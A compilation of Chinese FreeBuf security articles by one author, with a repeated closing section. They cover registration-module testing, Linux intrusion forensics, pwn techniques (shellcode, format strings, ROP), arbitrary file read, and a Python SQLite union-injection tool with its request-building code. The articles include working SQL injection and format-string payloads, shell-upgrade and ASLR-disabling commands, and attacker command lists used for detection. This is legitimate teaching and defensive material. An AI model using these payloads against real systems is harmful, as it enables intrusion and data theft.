许多应用系统都有注册模块,正常用户通过注册功能,获得应用系统使用权限;而非法用户通过注册模块,则是为了达到不可告人的目的,非法用户可以通过注册模块与服务端进行交互(一切用户输入都不可信),因此系统上线前,有必要对注册模块进行重点测试。

一、注册模块是否面向大众

根据系统业务需求,分析注册模块面向群体;如果是面向大众,则注册模块应该放在显而易见的地方;比如freebuf的注册功能

重点要强调一下面向内部的注册功能,此时注册模块应该是尽可能的隐藏起来。对内部注册模块隐藏的是否完美,上线前就必须进行测试。红军视角(黑盒测试):通过目录扫描、审查源代码、爬取js文件,发现隐藏的用户注册接口,比如未删除的注释,还可借助社工思维,比如登录地址为www.xxx.com/userLogin,可猜测注册地址为www.xxx.com/userRegist;蓝军视角(白盒测试):直接找开发人员要注册模块地址,检视改地址是否易猜解。

如下截图,就是通过查看源代码,发现系统存在内部使用的注册模块,已被注释,通过检查js文件,发现注册接口地址,以及部分参数。

二、是否需要验真。

验真:验证用户真实性。

检查系统是否需要通过手机、或者邮箱进行验真。验真方式不限,有些是通过短信或者邮箱验证码,有些是直接将下一步的注册地址发送到邮箱。为什么要求验真呢,这可有效防止恶意注册、杜绝僵尸账号,特别是羊毛党,平时养一批僵尸账号,有活动时则启用(虽然现在的羊毛党也有钱,舍得买手机号,但多多少少增加了他们的成本)。

发送短信验证码时,可通过拦截响应包,查看服务端是否有把验证码直接返回给客户端,如果直接返回给客户端,则可以冒用他人的身份,进行注册,绕过验真。

如果系统有人脸识别功能,则需测试人脸识别的健壮性(是否能被绕过),蓝军视角:直接通过工具制作动态图片或者小视频,取到的绕过方法,可以参考:在AE中制作人脸识别动画简要步骤疯狂的身fenzheng:一张身fenzheng如何攻破人脸识别技术(shenfenzheng会被河蟹)。

检查验真是否是在前端进行。如果是在前端,尝试将返回包中代表验真结果的参数值,类似code=-1改为code=0或者1,status=false改为status=true。

如果系统提供稍后验真功能,用户可以稍后验真直接进入系统,此时则需要检查是否存在越权漏洞,防止因权限限制不严,导致越权获取只有验真后才具有的权限。

三、短信或邮箱轰炸

因为有短信或者邮箱验证码,因此会有短信或邮箱轰炸的风险。这不仅会影响用户,而且会消耗企业的短信费用。测试时,通过抓包工具burpsuite,重放验证码发送请求包(以防只在前端进行时间间隔和次数校验),测试验证码是否有发送时间间隔限制和数目限制。现在大家一般采用的时间间隔是60s,次数是5次。

四、是否校验用户名

大部分系统的注册模块对注册账号进行校验,用来验证用户名是否已被使用,此时则可通过抓包工具,拦截注册账号校验请求包,比如使用burpsuite的Intruder模块,字典为常用用户名,对用户名进行遍历,再对遍历出来的用户名进行弱口令爆破。

当未对注册用户名进行校验时,则存在二次注册风险,可尝试用于密码重置,甚至导致整个账号被覆盖。因此红军视角测试时,需要谨慎,蓝军则直接要来已存在的用户进行快速验证即可。

验证用户是否存在的select语句未作过滤时,则可能会存在SQL注入漏洞。

五、SQL和XSS测试

对注册模块进行sql和xss测试,红军视角:当用户名长度未做限制时,可重点测试用户名(昵称、地址等也要进行测试),以前xss流行时,就对用户名插入各种xss的pauload,进行盲打;而SQL注入,则可能存在insert注入风险,或者二次注入(一开始注册时,insert有进行过滤,但是登录账号后,查看个人信息时,未对参数进行过滤,导致触发sql注入攻击,这个比较有难度);蓝军视角,则来的容易的多,直接代码审计即可。

注册时,当使用的insert语句未作过滤时,比如原始sql语句是(参考地址在SQL注入之insert注入

insert into member(username,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')

此时则可以构造如下sql注入payload,获取数据库用户名

insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')

注册时,当输入框有长度限制,可以尝试f12修改输入框的长度,或者通过拼接技术,将xss的payload拆分到好几个输入框,从而验证是否存在xss漏洞。

六、是否可以注册成管理员

遇到过一个这样的系统,从js文件中发现的接口请求参数只有用户名和密码

虽然能注册成功,但是登陆进去,就一个修改密码和查看个人信息的功能

测试时,想着能否发现越权,后面点击个人信息时也是空白,但是响应包中有报错信息,提示角色不存在

看到role_id这个参数,于是重新注册,注册请求包中,添加参数role_id,并将role_id设置为1(一般管理员角色id=1),重新注册成功,从而获得管理员权限。

七、文件上传

部分系统注册时,有文件上传功能,比如头像、营业执照;此时则需要对上传功能进行任意文件上传测试。

八、其他

当注册请求包请求参数是xml格式,则要进行XXE测试;如果是json格式,不妨试试fastjson命令执行这类漏洞。

*本文原创作者:freebuf01 ,本文属于FreeBuf原创奖励计划,未经许可禁止转载

网上,关于入侵痕迹分析的文章很多,在此将个人工作中常用的一些方法技巧(班门弄斧了),以及爬过的坑总结如下(当然,其中有些方法也是从各位前辈的经验中学习的)。入侵痕迹分析,不外乎正向推理,和逆向推理。当已经掌握部分线索时,可通过逆向推理,快速确定事发时间、影响范围、事发原因等;当没有明确的线索,可以入侵者的视角,通过正向思维进行推理,从而发现入侵行为;两种方法都可以以敏感文件、敏感命令、敏感IP、攻击特征关键字为线索,推理出事发时间、事发原因。

 一、针对.bash_history的分析

在对日志进行例行安全分析时,对文件.bash_history的分析必不可少,该文件记录了命令执行历史记录,通过该文件,可以分析入侵者执行了哪些恶意操作(反弹shell、提权、信息收集、修改文件隐藏后门、添加后门账号、挖矿木马特喜欢的添加计划任务、以当前shell为跳板进行横向渗透、删除日志文件)。

入侵者获得的命令shell是哑shell时,为了提高交互性,可能会执行以下python语句反弹一个交互shell

python -c 'import pty; pty.spawn("/bin/bash")',

入侵者获得反弹shell后,可能会执行相关的提权命令,比如尝试suid提权时,可能会通过find命令,查找设置了SUID位的可执行文件,或者尝试sudo提权时,先检查当前账号是否具有sudo权限

find / -perm -u=s -type f 2>/dev/null
sudo -i 或者 sudo -l

入侵者提权后,可能会通过cat、more等命令查看配置文件,收集各种敏感信息,通过useradd或者adduser命令添加后门账号;但是这几个命令也是运维人员常用的命令,因此要配合命令执行的时间来进一步分析,而.bash_history文件中记录的时间是以unix时间戳形式记录,可以直接转换;或者直接修改passwd添加账号,因此当passwd和shadow这两个文件发生修改时,需要重点关注。

挖矿木马特喜欢添加计划任务,每次碰到挖矿木马,通过计划任务排查,一查一个准,添加计划任务的命令如下:

crontab -e

入侵者为了干扰排查,可能会修改后门文件的时间,比如通过如下命令:

touch -d 或者 touch -t

横向渗透方面,可能关闭iptables、进行端口扫描、搭建各种隧道等命令,比如使用nc或者nmap:

nc -z -v ip port          使用系统自带的nc进行端口扫描
ssh -CfNg                 搭建ssh隧道
ew -s                     使用ew搭建隧道
service iptables stop     关闭iptables

当然很多入侵者干脆通过命令清空命令历史记录,或者直接将整个.bash_history文件删除,但最后一条清除历史记录的命令或者删除文件的命令会保留下来

history -c
rm .bash_history

上面针对.bash_history文件,进行安全分析时,列举了一些个人认为比较敏感的特征,总之对.bash_history进行安全审计时,要对敏感命令、敏感工具持有敏锐的嗅觉

部分人员日常工作中,因执行的终端命令太多,通过上下方向键查找历史命令,不方便,于是习惯性的使用history -c清除,其实这对溯源工作带来了很大的阻力,因此不建议使用history -c清除。

二、日志分析

1、系统日志

入侵痕迹分析,肯定少不了各种日志的分析。secure记录的是包括登录相关的安全日志,cron记录的计划任务日志。安全日志和计划任务日志文件名可能后面会接日期(日志归档原因),因此为防遗漏,可以使用如下命令进行搜索

ls /var/log/cron*        
ls /var/log/secure*

当尝试ssh暴力破解溯源时,可用如下命令,指定用户,对IP进行快速排查;lastb命令能列出登录失败的记录,整条命令的作用就是找出对root用户进行暴力破解的ip,并以次数从大到小输出

lastb root | awk'{print $3}' | sort |uniq -c |sort -rn |more

筛选出可疑IP后,可以通过secure日志,验证是否有被爆破成功,如果定位了IP,事发时间也相应的能定位,接下来就可根据IP和时间,对相关日志进行溯源分析

cat /var/log/secure* | grep Accepted | grep ip

2、数据库日志        

有时候找不知道日志文件的存放目录,可以通过查看配置文件(如mysql的配置文件文件my.inf,tomcat的配置文件tomcat-user.xml)。mysql数据库日志分析时,账号暴力破解这种,可以参考ssh爆破的思路进行排查。当mysql版本是5.6以上时,可以尝试看下是否有执行过如下sql命令,

set global general_log = on       开启日志记录(当outfile、dumpfile无法导出shell时,可配合日志文件getshell)
set global general_log_file = ''  设置日志文件保存路径(通常保存到web目录)

有时候通过mysql进行udf提权,可直接通过sql语句查看,添加了什么函数

select * from mysql.func

附带提一下:mssql的日志,可通过xp_cmdshell这个关键字,进行排查;因为当获取的数据权限为sa时,可利用xp_cmdshell进行提权操作;oracle日志,因为oracle数据库的特性,可以自定义函数,这个给入侵者提权带来了便利,因此对oracle数据库进行溯源时,可执行以下sql语句进行排查:

select * from USER_OBJECTS where OBJECT_TYPE = 'FUNCTION'     #排查自定义的函数
select * from USER_PROCEDURES                                 #排查用户自定义的资源,包括函数和对象
select * from USER_SOURCE where NAME = 'GETSHELL'             #获取前面排查出来的可疑对象的源代码

3、web应用日志         

关于web应用日志,像acc、中间件日志。当发生安全应急事件时,像后台暴力破解,同样可以参考ssh账号暴力破解的排查思路,进行快速排查。当入侵者使用其他手段时,一样可以先分析acc日志,将可疑IP筛选出来,筛选出IP后,再配合响应状态码,比如配合200状态码,分析入侵者成功访问了哪些地址,通过这个可以说不定可以发现webshell,当然很多系统都有自定义的报错页面,此时的状态码也是200;配合302,发现跳转到后台的日志;配合500,发现java反序列化攻击记录。总之要根据应用系统的实际情况,实际分析。

或者使用各种攻击特征,对日志进行快速排查,比如常见的sql注入攻击,使用select关键字;xss攻击,使用script关键字;任意文件读取、包含、下载,使用目录跳转特征“../”;也可根据当前系统用到的中间件如weblogic、fastjson,当前或以往出现的高危漏洞,进行快速排查;如weblogic可通过wls-wsat/CoordinatorPortType,fastjson可通过JdbcRowSetImpl等关键字进行快速排查。

其他特征包括:常用webshell文件名如菜刀、蚁剑、冰蝎等;部分工具user-agent有明显的特征,如awvs。对这些特征都有保持敏锐的嗅觉。

web应用日志分析,怎么少的的时下很火的业务风控安全,薅羊毛。这种行为都发生在特定的某个url地址,因此可以针对特定的url地址,快速筛选出IP,筛选出的IP肯定很多,同样先进行排序,但是时下的羊毛党也是很聪明且舍得投入,IP地址频繁切换,因此推荐对网段进行筛选,此外如果IP是云IP、国外IP(这得根据业务进行排查),再者就是IP访问时间异常,如下半夜。

三、流量进程分析

当日志分析,未排查出有价值的线索时,则从流量进程方向分析,也不失为另一个突破口;先使用netstat命令查看端口信息,ps查看进程信息,lsof查看进程和端口关联情况。

lsof -i :port            可用于检查那个进程使用了特定的端口
lsof -p pid              检查pid进程调用情况
strace -f -p pid         跟踪分析pid进程,可发现库文件劫持

查找隐藏进程

ps -ef | awk'{print $2}'|sort -n| uniq > tasklist1.txt
ls /proc | sort -n | uniq > tasklist2.txt
diff tasklist1.txt tasklist2.txt

流量分析,肯定会碰到wireshark和tcpdump这两款工具,网上都有详细的使用教程,不在此赘述。

四、隐藏后门排查

隐藏后门排查,可能会碰到库文件劫持,关于库文件劫持溯源,已有同学做了很详细的总结(学习了,多谢),地址是应急响应系列之Linux库文件劫持技术分析

另外可以使用diff命令,将整个web目录和备份目录进行对比,排查出被修改的文件

diff -urNA webdir webdir_bak

也可以使用find命令配合mtime、ctime参数,搜索事发时间时间段,指定格式的被修改文件

find /var/www/html -mtime +0 "*.jsp"       搜索web目录下24小时内被修改的jsp文件

部分计划任务可能会存在/var/spool/cron和/etc/cron.d目录下,并且部分日志并不是root添加的,而是其他具备root权限的用户添加的,可使用如下命令,查看指定用户的计划任务

crontab -l -u username

启动项排查

cat /etc/rc.local            排查rc.local文件中添加的启动项命令
ls /etc/init.d               排查init.d目录下添加的自启动脚本
ls /etc/profile.d            排查profile.d目录下添加的自启动脚本
chkconfig --list             centos系统列出自启动项

隐藏后门排查,肯定也有相关的工具可借助,如D盾、rkhunter、chkrootkit等。

五、后门处理

后门处理,有一个要注意的点是,需要做好备份,不能一股脑的直接删除,因为如果是在系统或应用的文件中插入恶意后门代码,直接删除,可能导致系统瘫痪。建议从备份或者官网下载,进行替换。有些后门文件,即便停掉了相关进程,仍然无法删除,可用chattr命令去除相关标识后再删除。

chattr -ia shell

六、其他

日志分析前,要确认日志记录时间使用是格林尼治时间,还是我们常用的东八区时间,否则会给入侵痕迹分析带来很大的误导。一定要保护好日志,根据网络安全法的要求来就行,否则巧妇难为无米之炊。

*本文原创作者:freebuf01,本文属于FreeBuf原创奖励计划,未经许可禁止转载

0×01 概述

本文介绍个人学习pwn过程中的一些总结,包括常用方法,网上诸多教程虽然有提供完整的exp,但并未解释exp为什么是这样的,比如shellcode写到哪里去了(这关系到跳转地址),ROP链怎么选择的。对于pwn,本人也是新手,其中有总结错误的,欢迎各位大佬指正。

文中用到的测试程序都在:https://github.com/silience/pwn

0×02 PWN常用的基本知识

首先拿到一个PWN程序,可以先使用file命令,判断是32位还是64位。

可以使用objdump读取plt和got表,plt和got网上都有详细的介绍,再此不再赘述。

这边要提一下数据在寄存器中的存放顺序,这个在格式化字符串漏洞中要格外注意,特别是64位,32位的先后顺序是eax->edx->ecx->ebx,64位的先后顺序是rdi->rsi->rdx->rcx->r8->r9。

刚开始学习的时候,个人经常把pop和push经常搞反,因此在此把这两个指令的介绍说一下:push [reg]/[num] 是将reg寄存器中的值或是数字num压入堆栈中,而pop [reg]是将堆栈栈顶的值弹出到reg寄存器中,并将这个值从堆栈中删去。

有时候要查看寄存器中的值,可以用到如下命令:

print $esp:打印esp的值

x/10x $esp:打印出10个从esp开始的值

x/10x $esp-4:打印出10个从偏移4开始的值

x/10gx $esp:以64位格式打印

下面先使用hello练练手,首先使用IDA的F5大法可以看到内部有个getshell函数,可以直接跳转到该函数getshell。

使用工具pade可以很方便的计算出偏移量,pattern create 100。

pattern offset 0×41284141,计算出偏移量为22。

查看汇编代码,获取getshell的地址,也就是要跳转的地址。

最后得到完整的exp如下。

0×03 shellcode

生成方式

1、在shellcode数据库网站找一个shellcode,http://shell-storm.org/shellcode/

2、使用kali的msfvenon生成shellcode,如命令msfvenon -p linux/x86/exec CMD=/bin/sh -f python

3、使用pwntools自带的函数如asm(shellcraft.sh())

但有时候不知道shellcode写到哪里去了,在回答这个问题前,要提一下bss段、data段、text段、堆(heap)、栈(stack)的一些区别。

1、bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss段属于静态内存分配。

2、data段:数据段(data segment)通常是指用来存放程序中已初始化的全局变量的一块内存区域,数据段属于静态内存分配。

3、text段:代码段(code segment/text segment)通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读(某些架构也允许代码段为可写,即允许修改程序)。在代码段中,也有可能包含一些只读的常数变量,例如字符串常量等。

4、堆(heap):堆是用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。当进程调用malloc等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)。

5、栈(stack):栈又称堆栈,是用户存放程序临时创建的局部变量,也就是说我们函数括弧“{}”中定义的变量(但不包括static声明的变量,static意味着在数据段中存放变量)。除此以外,在函数被调用时,其参数也会被压入发起调用的进程栈中,并且待到调用结束后,函数的返回值也会被存放回栈中。由于栈的先进先出(FIFO)特点,所以栈特别方便用来保存/恢复调用现场。

下面以ret2shellcode,同样使用IDA看下代码,很明显,shellcode写入到bss段。

使用命令readelf -S ret2shellcode查看获取bss段地址为0x0804a040。

还必须保证bss段有可执行权限,shellcode才能运行,可用gdb调试的vmmap命令查看,发现bss段可读可写可执行。范围是0x0804a000到0x0804b000,bss段地址0x0804a040在这个区间,且必须保证shellcode长度不超过这个区间即可,但到目前为止,shellcode具体地址依然不知道。

这时可以去调用它的函数strncpy前查看汇编代码,一般通过push或者move进行参数传递,参数传递顺序是从右到左,可以定位到shellcode地址0x804a80。

最后exp如下。

shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?有两种方法,一种是 开启core dump这个功能,另外一种是使用GDB的attach功能。

可以使用level1练手,有时checksec显示PIE关闭。

其实用ldd会发现,地址依然会随机变化。

可使用命令echo 0 > /proc/sys/kernel/randomize_va_space关掉整个linux系统的ASLR保护,再进行调试;开启core dump这个功能,开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

ulimit -c unlimited

sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

0×04 格式化字符串漏洞

这要讲一下字节序。

大端就是:存储最高有效字节在最小的地址(网络传输文件存储常用)。

小端就是:存储最低有效字节在最小的地址(计算机内部存储)。

帮助记忆的法子:小端就是存储先存最小有效字节,大端就是先存最大有效字节。

printf函数的格式化字符串常见的有 %d,%f,%c,%s(用于读取内存数据),%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x);%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,用于修改内存,除了%n,还有%hn,%hhn,%lln,分别为写入目标空间4字节,2字节,1字节,8字节。

去读内存,假如当偏移量为5时:

./a.out "`printf "\0x78\x56\x34\x12"`.%08x.%08x.%08x.%08x.%08s"

或者直接使用读取地址0×12345678的内容:

./a.out "`printf "\0x78\x56\x34\x12"`.%5\$s"

比如要将跳转地址0x0804a048改data为0×12345678,可使用%hhn;因为使用的是小段序,高字节保存在高地址。

所以poc如下,偏移量要从6开始,应为\x4b\xa0\x04\x08保存在偏移地址6。

./a.out "`printf "%18c%6\$hhn"."%34c%7\$hhn"." %34c%8\$hhn "."%34c%9\$hhn "."\x4b\xa0\x04\x08"."\x4b\xa0\x04\x08"."\x4b\xa0\x04\x08"."\x4b\xa0\x04\x08"

但是为什么依次是%18c、%34c、%34c、%34c;第一个是0×12,很简单,变成十进制就是18;第二个是0×34,十进制52,第二次总写入数包括第一次的,即18+34=52;后面两次依此类推。

实际使用中,可以直接使用pwntools的函数fmtstr_payload,或者fmt_str(offset,size,addr,target)(其中offset表示要覆盖的地址最初的偏移,size表示机器字长,addr表示将要覆盖的地址,target表示我们要覆盖为的目的变量值)直接覆盖。

可以以湖湘杯2017的pwn200进行练手,使用IDA,发现很明显的格式化字符串漏洞。

首先输入AAAA.%X.%X.%X.%X.%X.%X.%X.%X,可以发现在第七个%X输出41414141,A的ascii码是41(有时是61616161,a的ascii码61,因为程序把输入转换成小写),可知偏移量是7,首先使用%s获取puts函数的真实地址,然后计算出system的真实地址,后面再利用函数fmtstr_payload,将atoi的地址替换为system地址,当执行atoi时,就会这些system函数,从而获取shell。

0×05 libc

libc中提供了大量的函数,gdb调试时可直接使用如下命令获取地址,如果未提供,可以去网站http://libcdb.com/下载对应的文件。

可依次执行以下命令,快速getshell。

print system#获取system函数地址。

print __libc_start_main

find 0xb7e393f0, +2200000, "/bin/sh"#获取参数"/bin/sh"的地址

以level2为例,exp如下,利用链:偏移数据+system地址+返回地址+参数地址,本例是通过system获得shell,不需要做其他操作,所以返回地址可以随便写。

0×06 ROP

Rop链顺序,首先是跳转地址,比如要调用的内置函数write泄露出system地址,然后是返回地址(如果泄露的地址要重复使用,则返回地址是write地址或者它前面的地址),再就是传递的参数是从右往左入栈。

以ret2syscall为例,rop链构造如下:因为要调用execve(“/bin/sh”,NULL,NULL),该系统函数的调用号为0xb,因此首先要将0xb给eax寄存器,可使用ROPgadget –binary ret2syscall –only “pop|ret” | grep “eax”进行查找。

因为函数execve有三个参数,接着可以使用命令。

ROPgadget –binary ret2syscall –only “pop|pop|pop|ret” | grep “ebx”,不能选包含esi(esi是下条指令执行地址)或者ebp(栈基址寄存器)。

使ROPgadget –binary ret2syscall –string ‘/bin/sh’,可查找参数/bin/sh 的地址。

最后再跳转到int 0×80的地址就可执行对应的系统调用,也就是execve函数,可通过ROPgadget –binary ret2syscall –only ‘int’,找int 0×80的地址。

最后完整的exp如下。

0×07 参考地址

https://www.cnblogs.com/yanghong-hnu/p/4705755.html

http://www.vuln.cn/6645

https://www.cnblogs.com/gremount/p/8830707.html

https://blog.csdn.net/m0_37809075/article/details/81269697

https://blog.csdn.net/qq_43394612/article/details/84900668

https://blog.csdn.net/qq_38204481/article/details/80329885

https://www.freebuf.com/vuls/161116.html

https://blog.csdn.net/weixin_40850881/article/details/80216764

*本文作者:freebuf01,转载请注明来自FreeBuf.COM

*本文作者:freebuf01,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

0×01概述:

在项目实施过程中,任意文件读取漏洞虽说不多,但也能不定期的发现一个。于是在这把自己了解的,做一个小小的总结(好记性不如烂笔头,本编部分案列截图取自wooyun)。通常利用任意文件读取漏洞读取源码,配合代码审计(比如查看文件上传过滤代码,加以绕过),读取配置文件(不仅仅局限于数据库配置,还有网络配置文件等),如果权限足够,还可读取shadow、历史记录等文件,从而收集密码,这些都对后期权限获取有很大帮助。

0×02具体案例:

1、查找任意文件读取漏洞,首先要留意filename、download、inputfile这类的文件名,还可以留意path、name、filename、url、src等参数,不仅是GET类型,POST也同样存在,下图是未进行任何过滤

未获取权限下的任意文件读取

2、服务器或者容器的配置问题,引起的任意文件读取漏洞。

未获取权限下的任意文件读取

3、绕过java安全模式(没碰到过)。

未获取权限下的任意文件读取

4、服务器自身漏洞问题如glassfish

未获取权限下的任意文件读取

5、配合其他手法,如通过xxe、ssrf调用file协议读取文件,结合文件包含漏洞、sql注入(如load_file)等

未获取权限下的任意文件读取

6、javascript文件嵌套调用处,也可能存在

未获取权限下的任意文件读取

7、实际项目实施过程中,肯定会遇到各种过滤的,比如过滤扩展名,从而防止读取(.jsp、.php、.aspx等源码文件),过滤文件名如passwd、web.config,可以通过大小写或者url编码等绕过

未获取权限下的任意文件读取

8、部分系统可能使用白名单,对文件扩展名进行限制,可使用截断进行绕过

未获取权限下的任意文件读取

9、部分系统会过滤“../”,替换为空,可使用“…/./”绕过(灵活运用),有些是过滤“..”(没找到图)

欢迎各位补充

*本文作者:freebuf01,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

* 本文作者:freebuf01,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01概述:

SQLite的,是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是–。

0×02使用参数:

python sqlite.py -u url --tables#获取所有表名
python sqlite.py -u url --columns#获取所有表结构,从而获取字段值
python sqlite.py -u url -T table_name -C column_name -d#获取指定字段内容

0×03:信息获取

通过自定义函数SetPoc,根据功能需求,设置各发包的PoC,比如猜测“order by”长度,获取版本信息,获取表名,获取表中字段名,以及字段的具体内容。

首先判断注入类型,是整型(123和555 = 555–),字符型(123′和555 = 555–),还是搜索型(123%’和555 = 555–),再通过二分法判断“order by”长度,如果一开始插入order by mid(尝试的长度)的包返回状态和正常的原始包返回状态不相等,则说明mid过大,如果原始正常包返回状态与插入的order by mid和order by mid + 1的包返回状态相等 ,则说明mid过小,如果原始正常包返回状态与插入order by mid的返回包状态相等,但与order by mid + 1的包返回状态不相等,则成功获取order by长度。

def SetPoc(self, action):
        # 获取order by 数目的poc
        if action == "orderby":
            poc0 = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同" \
                   "&q=&pageIndex=1&searchname=&_=1522659952172"
            poc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') "
            poc_end = "--&q=&pageIndex=1&searchname=&_=1522659952172"
            response0 = SendData(target, poc0)
            min = 0
            max = self.OrderBy
            middle = (max+min) / 2
            while self.OrderBy > 0:
                ordpoc1 = (poc_start + "order by {0}" + poc_end).format(middle)
                ordpoc2 = (poc_start + "order by {0}" + poc_end).format(middle + 1)
                response1 = SendData(target, ordpoc1)
                response2 = SendData(target, ordpoc2)
                if response0.status_code != response1.status_code:
                    max = middle
                    middle = (min+max) / 2
                else:
                    if response1.status_code == response2.status_code:
                        if response1.status_code == 200:
                            min = middle
                            middle = (min+max) / 2
                        else:
                            max = middle
                            middle = (min+max) / 2
                    else:
                        self.OrderBy = middle
                        print ("》Order By number is %s" % self.OrderBy)
                        break                

通过上步获取的order by长度,再调用内置函数sqlite_version(),获取版本信息,poc类似%’  and 1 = 2 UNION SELECT null,sqlite_version() ,Sqlite数据库的字符型、搜索类型注入,和Oracle数据库一样,可以通过使用null进行注入。这里将发送包分成三部分进行拼接,第一部分是类似123%’ and 1 = 2 union select null,sqlite_vetsion(),这部分将根据要查询的信息进行变化,如查询所有表名,则使用123%’ and 1 = 2 union select null,name;第二部分则根据前面获取的order by 长度,补齐缺少的null,第三部分则根据要查询条件进行修改

# 获取版本信息的poc
        elif action == "version":
            verpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
                           "and 1=2 UNION SELECT null,'<xxoo>'||sqlite_version()||'</xxoo>'"
            verpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
            order_num = self.OrderBy
            while order_num > 2:
                self.poc_mid = self.poc_mid + ",null"
                order_num = order_num - 1
            verpoc = verpoc_start + self.poc_mid + verpoc_end
            #print self.poc_mid
            return verpoc
        

通过调用count(1)可获取数据库中表的总数,通过查询系统表SQLITE_MASTER中的name字段,可获取数据库中所有表名,这和MySQL数据库中系统表INFORMATION_SCHEMA中的“table_name”字段类似。通过limit关键字指定获取信息的开始位置和数量,比如limit 0,1,则是从第一条开始,并且只获取一条数据

# 获取表数量的poc
        elif action == "tabnum":
            tabnumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
                          "and 1=2 UNION SELECT null,'<xxoo>'||count(1)||'</xxoo>'"
            tabnumpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
            tabnumpoc = tabnumpoc_start + self.poc_mid + tabnumpoc_end
            return tabnumpoc

tables.png

sqlite_master表和mysql数据库中系统表information_schema不一样的是,sqlite_master不存在类似“ column_name”的字段,但是她有一个sql字段,该字段保存了各个表的结构,包括表名,字段名和类型 。因此可以通过查询sql字段获取各个表的列名

# 获取所有表结构的poc
        elif action == "columns":
            columnspoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
                   "and 1=2 UNION SELECT null,'<xxoo>'||sql||'</xxoo>'"
            columnspoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(self.table_num)
            columnspoc = columnspoc_start + self.poc_mid + columnspoc_end
            return columnspoc

columns.png

通过前面获取的表名和列名,再获取具体内容,类似的poc为123%’ and 1 = 2 UNION SELECT null,column_name,null from table_name–。

# 获取指定表数据条数的poc
        elif action == "datanum":
            datanumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
                   "and 1=2 UNION SELECT null,'<xxoo>'||count(1)||'</xxoo>'"
            datanumpoc_end = " from {0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name)
            datanumpoc = datanumpoc_start + self.poc_mid + datanumpoc_end
            return datanumpoc
# 获取具体数据的poc
        elif action == "data":
            datapoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
                "and 1=2 UNION SELECT null,'<xxoo>'||{0}||'</xxoo>'".format(column_name)
            datapoc_end = " from {0} limit 0,{1}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name, self.column_num)
            datapoc = datapoc_start + self.poc_mid + datapoc_end
            return datapoc

data.png

0×04:SQL注入防御

1,使用白名单或者黑名单进行全局过滤,防止二次注入

2,强制使用预编译,参数化语句,如JSP的PreparedStatement的setString方法等

3,前端JS过滤,如调用escape方法

4,借助第三方安全防御软件,如WAF

0×05:Github上的源码

https://github.com/silience/sql/blob/master/sqlite.py

* 本文作者:freebuf01,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 说明:

为了方便信息安全测评工作,及时收集敏感地址(初衷是爬取api地址),所以写了这么个小工具。两个简单的功能(目录扫描和url地址爬取)。

0×02 使用参数:

python spider.py -u url -s api -o output.txt  -t thread_number #通过爬虫
python spider.py -u url -s dir -f dict.txt -o output.txt #通过目录扫描

0×03 部分函数说明:

防止因末尾斜线、锚点而重复爬取(http://www.example.comhttp://www.example.comhttp://www.example.com/index.html#xxoo

1.png

爬取规则:

第一个无法爬取页面注释中的地址(<!–http://example.com/index.html–>),第二个无法爬取相对路径和php?id=等类型的地址,古结合两种规则,并排除图片视频类的地址,最后再去重

2.png

补全相对地址、防止越界(可爬取子域名,其他地址除外),并验证地址是否能正常访问

3.png

地址池

4.png

爬取功能,虽然使用了多线程,但还是比较慢,输出结果是爬取完毕的地址

5.png

目录扫描和输出到文件

6.png

0×04 代码地址:

https://github.com/silience/spider

0×05 参考链接:

#http://blog.csdn.net/foryouslgme/article/details/52242653

0×01 说明:

为了方便信息安全测评工作,及时收集敏感地址(初衷是爬取api地址),所以写了这么个小工具。两个简单的功能(目录扫描和url地址爬取)。

0×02 使用参数:

python spider.py -u url -s api -o output.txt  -t thread_number #通过爬虫
python spider.py -u url -s dir -f dict.txt -o output.txt #通过目录扫描

0×03 部分函数说明:

防止因末尾斜线、锚点而重复爬取(http://www.example.comhttp://www.example.comhttp://www.example.com/index.html#xxoo

1.png

爬取规则:

第一个无法爬取页面注释中的地址(<!–http://example.com/index.html–>),第二个无法爬取相对路径和php?id=等类型的地址,古结合两种规则,并排除图片视频类的地址,最后再去重

2.png

